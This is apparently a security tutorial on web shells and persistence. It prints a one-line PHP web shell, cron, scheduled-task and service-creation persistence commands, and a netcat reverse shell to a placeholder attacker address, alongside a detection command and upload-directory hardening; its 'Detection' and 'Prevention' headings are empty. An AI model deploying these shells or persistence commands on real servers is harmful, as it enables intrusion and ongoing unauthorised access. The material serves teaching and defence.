Web Shells and Maintaining Access

A web shell is a malicious script uploaded to a web server that provides an attacker with remote access and command execution capabilities. It is typically written in a language supported by the server, such as PHP, ASP.NET, JSP, or Python. The web shell acts as a backdoor, allowing the attacker to interact with the server via HTTP requests, bypassing normal authentication and access controls. Web shells are a key persistence mechanism because they survive reboots and often evade detection by blending in with legitimate files.

Web shells are popular for several reasons: - Persistence: They remain on the server until manually removed, even after the initial vulnerability is patched. - Stealth: They can be disguised as legitimate files (e.g., image.php, admin.jsp) and often have low file sizes, making them hard to detect. - Functionality: They provide a web-based GUI or command-line interface to execute system commands, browse files, upload/download data, escalate privileges, and pivot to other systems. - Protocol Compliance: Traffic to and from the web shell uses standard HTTP/HTTPS, blending in with normal web traffic and evading network detection tools.

At the core, a web shell is a script that accepts user input (via GET or POST parameters) and passes it to a system execution function. For example, a simple PHP web shell might look like:

<?php system($_GET['cmd']); ?>

When the attacker sends a request like:

http://target.com/shell.php?cmd=whoami

The server executes the whoami command and returns the output in the HTTP response. More sophisticated web shells include a GUI with buttons, file managers, and database clients, but the underlying mechanism remains the same.

Attackers deploy web shells by exploiting vulnerabilities: - File Upload Vulnerabilities: Uploading a malicious script through a file upload form that doesn't validate file type or contents. For example, uploading a .php file to a site that expects images. - Remote File Inclusion (RFI): Including a remote file containing the web shell code via a vulnerable include parameter. - SQL Injection: Using INTO OUTFILE to write a web shell to the web root if the database user has FILE privilege. - Command Injection: Using command injection to download or create a web shell on the server. - Vulnerable Plugins/Themes: Uploading a web shell disguised as a plugin or theme update in CMS like WordPress, Joomla, or Drupal.

While web shells are powerful, attackers often combine them with other persistence mechanisms:

#### Scheduled Tasks / Cron Jobs

On Windows, attackers can create scheduled tasks to execute a payload at specific intervals or system events. Example command:

schtasks /create /tn "Updater" /tr "C:\Windows\System32\powershell.exe -EncodedCommand <base64>" /sc onlogon /ru SYSTEM

On Linux, cron jobs are used:

echo "* * * * * root /path/to/shell.sh" >> /etc/crontab

#### Service Installation

Attackers can install a malicious service that runs automatically at boot. Example:

sc create Backdoor binPath= "C:\malware.exe" start= auto

#### Registry Run Keys

On Windows, adding a registry entry in HKCU\Software\Microsoft\Windows\CurrentVersion\Run or HKLM\Software\Microsoft\Windows\CurrentVersion\Run ensures the payload runs at user logon.

#### SSH Keys

On Linux, adding an attacker's public key to ~/.ssh/authorized_keys allows persistent SSH access without passwords.

#### DLL Hijacking

Replacing a legitimate DLL with a malicious one that is loaded by a trusted application.

Detection:

Prevention:

Web shells often interact with: - Reverse Shells: A web shell can be used to spawn a reverse shell for more interactive access. For example, using nc -e /bin/bash attacker_ip 4444. - Port Forwarding: Tools like chisel or plink can be executed via web shell to tunnel traffic. - Privilege Escalation: After gaining access via web shell, attackers may use local exploits (e.g., DirtyCow, EternalBlue) to gain higher privileges. - Lateral Movement: The web shell can be used to pivot to internal networks using tools like proxychains or ssh -L.

After deploying a web shell, verify access:

curl -X GET "http://target.com/shell.php?cmd=id"

Output should show the user ID (e.g., www-data).

To check if a web shell is present, look for unusual files:

find /var/www/html -name "*.php" -type f -size -10k | xargs grep -l "system\|exec\|passthru"

In enterprise environments, web shells are a common tool for both penetration testers and malicious actors. For example, during a red team engagement, a tester discovers a file upload vulnerability in a company's intranet portal used for expense report attachments. The portal only checks the file extension on the client side, so the tester uses Burp Suite to intercept the upload, change the file extension from .jpg to .php, and upload a minimal web shell. The shell is stored in /var/www/intranet/uploads/. The tester then accesses the shell to execute commands, eventually escalating privileges via a misconfigured sudoers file and installing a cron job for persistence. The tester documents the findings for remediation.

In another scenario, a malicious attacker compromises a WordPress site running an outdated plugin. They upload a web shell disguised as a theme file (twentyseventeen/shell.php). The shell provides a file manager and command execution. The attacker uses it to deface the website, steal customer data, and install a cryptocurrency miner. The attacker also creates a new admin user in WordPress to maintain access even if the shell is deleted. The site's owner only discovers the breach after noticing high CPU usage from the miner.

A common misconfiguration that leads to web shell deployment is overly permissive file permissions on web directories. For instance, a server running Apache with www-data as the web user may have write access to /var/www/html/uploads/. If an attacker can upload a file there, they can execute it. In production, web directories should be owned by root with 755 permissions, and the web server should only have read access. Upload directories should be outside the web root or have script execution disabled via .htaccess:

<Directory "/var/www/html/uploads">
    php_flag engine off
</Directory>

Performance considerations: Web shells are lightweight, but frequent beaconing can increase server load and log size. Penetration testers should use controlled beacon intervals (e.g., every 5 minutes) to avoid disrupting production services. When misconfigured, web shells can lead to complete server compromise, data breaches, and legal liability.